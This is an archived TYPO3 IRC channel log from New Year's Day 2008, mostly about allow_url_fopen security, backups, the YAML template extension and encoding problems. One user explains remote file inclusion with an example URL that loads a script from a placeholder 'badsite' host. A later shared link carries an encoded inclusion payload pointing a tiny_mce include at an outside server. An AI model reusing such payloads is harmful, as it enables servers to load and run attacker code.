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#TYPO3 IRC log from : Tuesday 1 January 2008

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00:02 isolysis_ hi all, is it really necessary to have allow_url_fopen turned on in php.ini? it seems to be a security risk, but if i try to install an extension that has dependencies, it will try to fetch and import those extensions too, but it is failiing possibly due to allow_url_fopen being off
00:03 many d'you happen to know what this option does?
00:05 isolysis_ many: i think it has something to do with fetching external urls and executing them on the server
00:06 many nothing to do with executing anything
00:06 many it just allows remote URLs to be treated like local files
00:07 isolysis_ it is a security vulnerability because a badly coded extension or site might be manipulated like site.com/index.php?page=http://www.badsite.com/evilscript.txt et
00:07 isolysis_ atleast in theory anyway
00:07 many Well
00:08 many some url need to be called if you allow this kind of updating, no?
00:08 isolysis_ when i enter allow_url_fopen and typo3 into google, there are some forum posts about people commenting on 'timtab' still using allow_url_fopen
00:08 isolysis_ and how it is insecure
00:08 isolysis_ if that was the case, then i am surprised that the typo3 core is reliant upon it for importing
00:09 many the danger is in cross site scripting and/or tainted url fopens
00:09 isolysis_ but if allow_url_fopen is on for the typo3 core, what difference does it make if some extension like timtab uses it? or is it the case that its difficult to exploit typo3 and perhaps easier to exploit timtab
00:10 many i dont know the code of timtab
00:10 many sorry :)
00:10 many i wouldnt even know topofthehead what it does
00:11 isolysis_ but i am speaking in general... i dont even know what timtab does.. what i am asking though is, if i have allow_url_fopen turned on in php, its not a security vulnerability for typo3 itself becaue typo3 is secure? its only a vulnerability if an third party extension uses allow_url_fopen and can be exploited?
00:11 many if it does belong to the extensions extenion (i.e. installing and updating) i would consider this option no less secure than using any other technology to do this self-updating
00:11 isolysis_ many: do you have it turned on?
00:12 many isolysis_: i wouldnt answer the prior question unless having read the whole sourcecode. i did not. :)
00:12 many for the last question - yes.
00:12 isolysis_ i see thanks
00:13 isolysis_ i am guessing quite a few people will have this turned on by default..
00:13 many yes.
00:13 many personally, i consider the risk minimal in my environment
00:14 many and even if someone breaks the system, i still have enough backups to get the boxes clean back up in no time
00:14 many exploitation itself is a risk which you simply cant take down
00:16 isolysis_ many: what is your disaster recovery strategy? i mean what OS are you using, and what kind of backup methods are you using, is it hard drive image, database level etc
00:16 many after having said and done everything you have to carefully outweigh risks and stuff.
00:17 many isolysis_: since the servers are virtualized anyway i do have multilevel strategies. snapshots of the virtual machines, standby virtual machine templates, but also filesystem level copies and raw database dumps
00:18 isolysis_ geez you must spend alot of time backing everything up regularly? or are you running some type of cron tabs
00:18 many its all cronned, ofcourse.
00:18 isolysis_ im not looking forward to it myself
00:18 isolysis_ i need to get a strategy
00:19 many for the beginning look at something like rsnapshot
00:19 many additionally, database VM and webserver VM are seperate machines, so hacking the webserver wouldnt give you any valuable data either.
00:20 isolysis_ thanks, ive book marked rsnapshot - though it is for unix machines.. i will need another one for windows servers too, since we have both
00:21 many bakbone
00:21 isolysis_ but we are still in development so i havent spent too much time looking online
00:21 many you can get *very* decent solutions if you spend some money
00:22 isolysis_ what do you have in mind many
00:22 many i could sell you a (very) low maintenance solution for realtime mirroring of disc space when you invest the initial money. :D
00:23 many well
00:23 many the perfect solution for your environment depends on... guess what? you environment :)
00:23 isolysis_ its for our company, so i am not sure it will be appropriate to have our data on external servers
00:24 isolysis_ because we also intend to use credit card api processing in which we are responsible for safe storage of that data
00:24 many not external servers
00:24 many theres SAN/NAS systems which do everything for you
00:24 isolysis_ is it software?
00:24 many all you have to take care of is to have some connections between them
00:25 isolysis_ o
00:26 many so if you decide to let them mirror between two very distant datacenters, thats no problem
00:28 isolysis_ is there a website for more information?
00:28 isolysis_ i dont have the time/resources right now
00:28 isolysis_ but i can study it later
00:29 many netapp is a good name in that sector
00:29 many they give you everything you want/need. you just have to see how much youre willing to pay *duck*
00:33 isolysis_ just looking at their site.. it seems like a professional backup and recovery solution, but i dont see any pricing info anyway.... and when you have to contact sales to get that info you can be pretty sure its going to cost an arm and a leg
00:35 many alot, yes. as i said its a NAS with a pretty high initial cost, but they save your arse now and then before you notice you have a problem :)
00:35 many so if you can spend the money somehow, invest it and youll see why you spend it.
00:36 isolysis_ many: whereabouts are you in the uk?
00:36 many DE, sorry. :)
00:37 isolysis_ most people say 'ass', which is typical for americans, but usually its the brits who are saying arse
00:37 isolysis_ :D
00:38 isolysis_ do you have a typo3 based site... care to share a link? or private
00:38 many quite some
00:40 isolysis_ thanks, looking through them now..
03:32 Denyerec Happy New Roman Calendar Year Typisters!
04:08 sessaid How do I disable or prolong the login refresh message in the backend?
09:07 foool Happy New Year!!!!!!!!!!!!!
10:59 TYPO3 HAPPY 2008
10:59 af_ yeah!
10:59 TYPO3 af_ ;)
10:59 TYPO3 how r u
11:00 af_ fine, what about yourself
11:00 TYPO3 i've started to learn how to make extension
11:01 TYPO3 but it's hard something..
11:01 TYPO3 did you know how to build an extension ?
11:01 af_ no, never did that thing
11:01 TYPO3 kickStarter
11:01 TYPO3 ok
11:22 foool anyone got just2be's stuff installed?
11:58 solshark Happy 2008 all from Ukraine :) Best Regards!
12:15 uschi hi all
12:15 uschi a happy new year from erfurt (germany)
12:41 TYPO3 ih pple
12:42 TYPO3 hi pple
12:42 TYPO3 i want 2 meet somebody who knows 2 make extension with kickstarter
12:47 TYPO3 TP3
12:57 m0oman moo!
13:00 TYPO3 m0oman
13:00 TYPO3 happy 2OO8
13:07 m0oman thanks, same to you. :)
14:34 isolysis anybody here using the YAML for typo3 layout/extension?
14:39 timdeluxe yes
14:39 timdeluxe isolysis: yes (perhaps he has a highlight on his nick :D)
14:40 isolysis hi tim :D
14:40 isolysis what version would that be
14:40 timdeluxe typo3 or yaml?
14:40 isolysis yaml
14:41 isolysis i assume u have typo3 415
14:41 timdeluxe puh, good question, i'll try to find out
14:41 isolysis but i am trying to get my head around the yaml for typo extension
14:42 isolysis i initially installed the yaml for typo3 2.x package.. but recently they changed this to version 3 and now there is complete restructuring going on
14:42 isolysis i am trying to understand the upgrade process
14:42 timdeluxe 0.2.0
14:43 isolysis because the extension i installed includes the yaml 3.0.3 framework, but recently yaml has released 3.0.4 - though this is not updated in the typo3 extension distribution
14:43 timdeluxe puh
14:43 timdeluxe its some time ago
14:43 isolysis 0.2.0 thats ancient?
14:44 timdeluxe thats what was written in the included TS setup
14:44 timdeluxe but i think thats wrong
14:44 timdeluxe i think i used the first release of the yaml for templavoila version
14:44 isolysis in my extension repositor i have db_yamltv 2.0.11
14:44 timdeluxe let me look
14:46 isolysis timdeluxe: how do you plan to upgrade the css?
14:46 isolysis for the framework itself
14:46 timdeluxe i have no plan to upgrade it
14:47 timdeluxe its good enough as it is
14:47 timdeluxe in the version i use
14:48 timdeluxe i have no ext called like that and now i know why
14:48 timdeluxe i installed it by the t3d file
14:48 timdeluxe i see that exaclty that isnt online anymore
14:49 isolysis humm... i used a .t3x extension file to install the main thing, which is basically resolving dependencies like tt_news templavoila etc, but then you import the .t3d which is a page structure, and includes tmeplate objects, and data structure
14:50 isolysis however, what i am saying though, is that yaml is basically a framework.. it is being updated, bugs fixed and new releases often.. in such case how does one know which folders to update
14:51 isolysis before this, i had yaml for typo3 manually installed.. it using the yaml 2.5.2 version, but recently my site went to crap and now i am manually doing a fresh install and copying text over, recreating everything, so i figured i get the latest yaml version
14:51 af_ what is yaml?
14:51 af_ and what does?
14:51 isolysis http://www.yaml.de/en/home.html
14:52 af_ thanks
14:52 isolysis yaml is basically a html/css framework, with a 2 column 3 column layout etc..
14:52 timdeluxe isolysis: i read the changelog now
14:52 timdeluxe and i see that i am using a veeery old version in my installation
14:52 timdeluxe the first public onw
14:52 timdeluxe ehm one
14:52 isolysis timdeluxe: i would be checking this stuff myself, but unfortunately i dont speak dutch so i cant understand much
14:53 timdeluxe i should change it to the extension thing, but that is a huuuuge change
14:53 isolysis timdeluxe: even if you change it to the extension thing, does that mean you can upgrade the extension itself later on to upgrade the yaml framework, without affecting your existing sites?
14:54 timdeluxe you men dutch or deutsch? ;D
14:54 timdeluxe mean
14:54 isolysis i didnt know there was a difference! buti mean deutsch
14:54 isolysis german
14:54 timdeluxe isolysis: its written in the changelog... the extension has the feature that it doesn't overwrite your changes
14:54 isolysis i guess dutch is spoken in holland?
14:54 af_ make sense trying it with the desktop appl, and after try to use it with typo3?
14:54 timdeluxe right!
14:54 isolysis timdeluxe: where can i see that changelog!
14:55 af_ I mean this yaml thing
14:55 timdeluxe in german: http://yaml.t3net.de/Changelog.141.0.html?&L=1%2Finterna%2Ftiny_m
14:55 isolysis thanks
14:55 timdeluxe af_: which desktop appl?
14:55 isolysis google translate to the rescue
14:55 isolysis i think he means the wamp
14:55 isolysis or not
14:56 af_ timdeluxe, yaml
14:56 timdeluxe af_: yaml is just a framework... i suggest you to try out the typo3 version of yaml directly
14:56 af_ I see
14:56 timdeluxe because its tied together in some places
14:57 timdeluxe and if you first use the "naked" yaml you have to spend work again to see how its tied together with typo3
14:57 isolysis yaml for typo3 version is basically kickstart package to get yoru site up and running quckly
14:57 timdeluxe some things you can change in the css, some in the constants editor and so on
14:57 timdeluxe but there is an extension version also
14:58 isolysis the extension version is easy to install, and hopefully it will be easy to maintain
14:58 timdeluxe better use that, because the typo3 version is a bit outdated
14:58 isolysis timdeluxe: typo3 version is outdated?
15:13 timdeluxe isolysis: yes, the ones which yaml are bundled with
15:13 timdeluxe i am talking about the complete packages
15:16 isolysis timdeluxe: ahh, ok i got you. it is typo3 4.1.2 coming with the complete package i think.. so better to just get the extension alone
15:17 timdeluxe yes
15:17 timdeluxe thats what i meant
15:17 timdeluxe sometimes i am a bit difficult to understand :D
15:18 isolysis a bit :D
15:18 isolysis kidding
15:18 timdeluxe what about your problems with the moved typo3 installation?
15:19 isolysis i decided to ditch it, and start with a fresh typo3 install.. and i guess it is a blessing in disguise because now i will use the latest yaml typo3 extension
15:20 isolysis i still can salvage the contents like articles etc from my old typo3... i will set it up on a separate install.. i have to use the 'list' view rather than 'page' view to see the elements, then i copy and paste one by one to the new site
15:20 isolysis it will be labor intensive, but i have 30-40 pages i think.. so its not the end of the world
15:20 isolysis since we are trying to make a very big site.. i would like to have a secure foundation
15:20 isolysis dont want these crappy problems later when we are live and have visitors and several hundred pages
15:21 isolysis i also mangled the old yaml templates.. i edited the base files etc, which i wasn't supposed for upgrade purposes
15:21 isolysis i only now understood that we are to keep the custom styles separate for upgrade purpose
15:22 isolysis hopefully i can integrate our original design back in without messing things up
15:23 isolysis the issue with the old site btw, i believe was due to foreign accented characters inside the sql file. like we had lots of à inside there, and this was breaking things i think.. because the sql importer is assuming the document is utf8
15:23 timdeluxe yes
15:23 timdeluxe thats what i said
15:23 timdeluxe :D
15:24 isolysis it turns out the utf8 and foreign character issue is much bigger than i anticipated, because typo3 developers are still scrambling to fix mysql encoding issues with typo3 for version 4.2
15:24 timdeluxe ok
15:24 isolysis they realized that people are dumping crap inside their sites, but when it comes to exporting and restoring later on, it is messing their sites
15:25 isolysis thats why you see now in the all config page a 'sql setDBinit' box for specificyng 'set names utf8' after connecting to the databse
15:25 timdeluxe hm i understand...
15:26 timdeluxe a big "convert everything to utf8" tool would be great
15:26 isolysis lol
15:26 isolysis yeah
15:26 isolysis or an an extension/tool that is responsible for migrating whole sites
15:26 timdeluxe i live good with having the databases still set to latin...
15:27 timdeluxe and besides it i now understood the new yaml-for-typo3 concept
15:27 isolysis you should probably keep it like that.. if it aint broke, dont try to fix it. if you do intend to convert to utf8. dont close the site or database, but create a separate site and migrate the data over to check for corruption, when you are sure it works, then you get rid of old site
15:28 isolysis my mistake was that i exported the data from the database and typo3 export t3d method, but i closed the server down and moved to new host.. then i realized my problems
15:28 timdeluxe thats always a good way, even if you dont change character sets
15:28 isolysis if i had the original database i could export in the correct encoding, because my backup dumps are right now corrupted
15:28 timdeluxe ohohohoh
15:28 isolysis basically i am just salvaging the copy text
15:28 timdeluxe make a note for next time
15:29 isolysis oh i do
15:29 isolysis i also make a list of stuff to do when installing/upgrading typo3
15:29 isolysis maybe one day i will put it together on typo3 wiki for windows isntallation
15:29 isolysis like file permissions folders, what junctions to create etc
15:29 timdeluxe thats a good idea
15:29 timdeluxe "inspiring to share" :D
15:30 isolysis right now the documentation for typo3 is kinda screwed and outdated, there is too much stuff for t3 3.8.1
15:30 isolysis even on the download page there is quick start and test site packagesges for 3.8.1 like wtf?
15:30 timdeluxe documentation comes at last everytime/everywhere...
15:31 timdeluxe yes but there is a hint to it
15:32 timdeluxe its not a bad idea to keep old versions of something
15:33 isolysis i am not against keeping archived versions, but what i am trying to say is that when you download the latest typo3 source and dummy packages for 4.1.5, at the bottom of that page there is the quickstart package but thats for 3.8.1 - they need to have this updated for new users
15:33 isolysis maybe even create an extension like yaml did, for jumping into a quick start site
15:34 isolysis i would even advocate linking to the yaml extension itself as a good test site package
15:34 isolysis because it also quickly demonstrates the power of typo3 when a good developer is behind it
15:34 isolysis typo3 without templavoila and some fce's is pretty basic and most new users don'tknow whats what
15:35 isolysis ok im gonna shutup now.. i should be working
15:35 isolysis crikey
15:36 timdeluxe isolysis: i agree. it was what i got angry about when starting with typo3
15:36 timdeluxe but thats also a feature
15:36 timdeluxe so only people who know what they do use it ;)
15:37 isolysis i understand the 'keep things simple' approach, but maybe on part of typo3 team there needs to be some important guidance about how to get started in the right way
15:37 timdeluxe look at all that ugly php/postnuke, joomla, mambo etc pp installation
15:37 isolysis yeah all those cms you mentioned are junk
15:37 timdeluxe they all look nearly the same because everyone is to lazy to change the layouts
15:37 isolysis because theyprecisely add too much
15:38 isolysis anyway i see on the typo3 contribute page they are working on making a template repository
15:38 isolysis so people can install nice xhtml/css sites quicky and easily
15:38 isolysis it should be good for the project
15:40 isolysis typo3 is so far the best framework i have seen for complex site management
15:40 isolysis we just need a few rich companies now who sponsor the project further into a better direction at a good speed
15:41 timdeluxe rich companies want it fast and cheap
15:41 timdeluxe i work for a big rich company
15:42 timdeluxe unfortunately
15:43 isolysis true.. but i believe maybe a company which is able to get rich by building a site in typo3 is able to look back and say we owe the project something for helping us
15:44 isolysis but in general yes, most companies want things free or dirt cheap.. its the nature of most business
15:45 isolysis timdeluxe: i installed the typo3 yaml, but now i am trying to change the default language de, 2nd - en, 3rd - fr = back to 1 - en 2 - de 3 - fr
15:45 isolysis basically i am trying to switch default german with english
15:46 isolysis i changed something in the main template typoscript, but i am wondering if there is elsewhere i need to change stuff
15:47 timdeluxe isolysis: hm, hmhm, hmhmhm...
15:47 isolysis i guess i will just have to dig around in the backend
15:47 timdeluxe as i am native german i didn't need to change somethin like that
15:47 isolysis thats how i did it the first time
15:48 isolysis yeah you germans have it easy in alot of respects for typo3, the forums, and alot of the development is happening
15:48 isolysis in your lingo :)
15:50 timdeluxe oh, i actually think that too much is happening in english *g*
15:50 timdeluxe for example this chat *G*
15:50 timdeluxe i could help you by translating parts of this page: http://yaml.t3net.de/TYPO3-mehrsprachig.39.0.html?&L=1%2Finterna%2Ftiny_mce%2Fplugins%2Fibrowser%2Fibrowser.php%3FtinyMCE_imglib_include%3Dhttp%3A%2F%2Feaster.fr%2Feaster%2Finc%2Fc.in%3F%3F
15:53 timdeluxe ok
15:53 timdeluxe take a watch on the 3 listings there
15:54 timdeluxe the first listing: line 10-12 + 16 are setting the default language
15:54 isolysis thanks, i will drop this into google translate
15:54 timdeluxe i think you should change it to en and so on
15:55 timdeluxe and in listing 3 you have to change the order of the array elements
15:55 timdeluxe to display the right language at first position
15:55 isolysis i am reading the changelog for typo3 that you sent me, apparently you cant change the html in the exsiting templates
15:55 timdeluxe why not?
15:56 TYPO3 timdeluxe
15:56 timdeluxe TYPO3
15:56 TYPO3 happy 2008
15:56 timdeluxe now we know each other *G*
15:56 timdeluxe happy new year
15:56 TYPO3 did you worked in kickstarter ?
15:58 timdeluxe me? no. not already
15:58 timdeluxe BRB
15:59 TYPO3 ok
16:02 timdeluxe why are you asking?
16:03 isolysis happy new year? congratulations you are one year closer to your grave, muahaha!
16:08 timdeluxe ah
16:08 timdeluxe :P
17:00 TYPO3 timdeluxe
17:00 TYPO3 still there ?
17:04 timdeluxe yes
17:22 timdeluxe is there some typoscript viewer which features folding of things between { } ?
17:24 timdeluxe ah got it... pspad + sweets should do it
17:28 isolysis :o
17:29 timdeluxe hm
17:29 timdeluxe it doesn't
17:32 Denyerec That reminds me, I downloaded that and forgot to use it.
17:32 Denyerec :)
17:33 timdeluxe ok, it isnt able to do code folding at all
17:59 timdeluxe arghl
17:59 TYPO3 timdeluxe
17:59 timdeluxe now i tried about 3-4 editors... no one is able of correct folding
18:00 TYPO3 did you developped yet an extensionb
18:00 timdeluxe no!
18:29 TYPO3 timdeluxe
18:29 TYPO3 i did
18:29 TYPO3 wanna to know how ?
18:30 timdeluxe if i want to i will learn it, but not now
18:30 timdeluxe i own a book which explains it deeply enough
18:34 TYPO3 good
18:34 TYPO3 i want to know only how to personnalize tinyRTE CSS ??
18:35 timdeluxe there are some howtos, just google a bit around
18:37 timdeluxe wait
18:38 timdeluxe you wrote tinyRTE, i dont know
18:38 timdeluxe for the normal htmlarea RTE it is possible
18:52 drclanc hello, can some one help me
18:53 drclanc I have problems with Imagemagick
18:55 drclanc hello?
19:40 isolysis hi
19:51 DaJo hi
19:53 DaJo on my root page i have empty <ul></ul> tags cause there is no subnavigation there, how can i avoid those empty tags?
20:06 yallayalla how can i avoid empty <ul></ul> "submenu" - tags ?
20:37 yallayalla how can i avoid empty <ul></ul> "submenu"tags ?
20:39 yallayalla no one can help me? :)
21:03 isolysis timdeluxe: this new yaml for typo3 extension seems to be put together pretty well
21:04 isolysis i am not sure how easy it is going to be to customize it, but it seems they've been thinking through all the usability issues i had in the older version and they are taking a more scalable and upgradable approach
21:11 timdeluxe sounds good!
21:25 grilljury hi everyone and a happy new year... i am a newbie to typo3 and wondered if someone could answer a rather simple question concerning modern template building tutorial.
21:25 cham_eleon is there a option or anyhting else for displaying pages in a menu? nothing is displayed in the template menu.
21:25 grilljury I have "page.10.value = The page ID, {field:uid}, multiplied with 15 is:" where the factor later on is decleared as "page.20.factor = 15". i wonder if i could include something like {field:page.20.factor} in the first line instead of the "15" so it automatically changes if i change line 2
21:27 cham_eleon i selected a default template crcph but nothing is displayed in the menu bar :(
21:58 isolysis ^ if you are just beginning on your typo3 sites, i suggest getting a quickstart package that has a template system which you can adapt to your own design, like 'yaml for typo3'
21:59 cham_eleon now it works - but atm i've got the problem that i selected another template for a page and now i can't edit it
21:59 cham_eleon i'm not able to change the page layout :) i can't find it
22:00 cham_eleon after creating a new page i can select a template but can i select a template / change a template?

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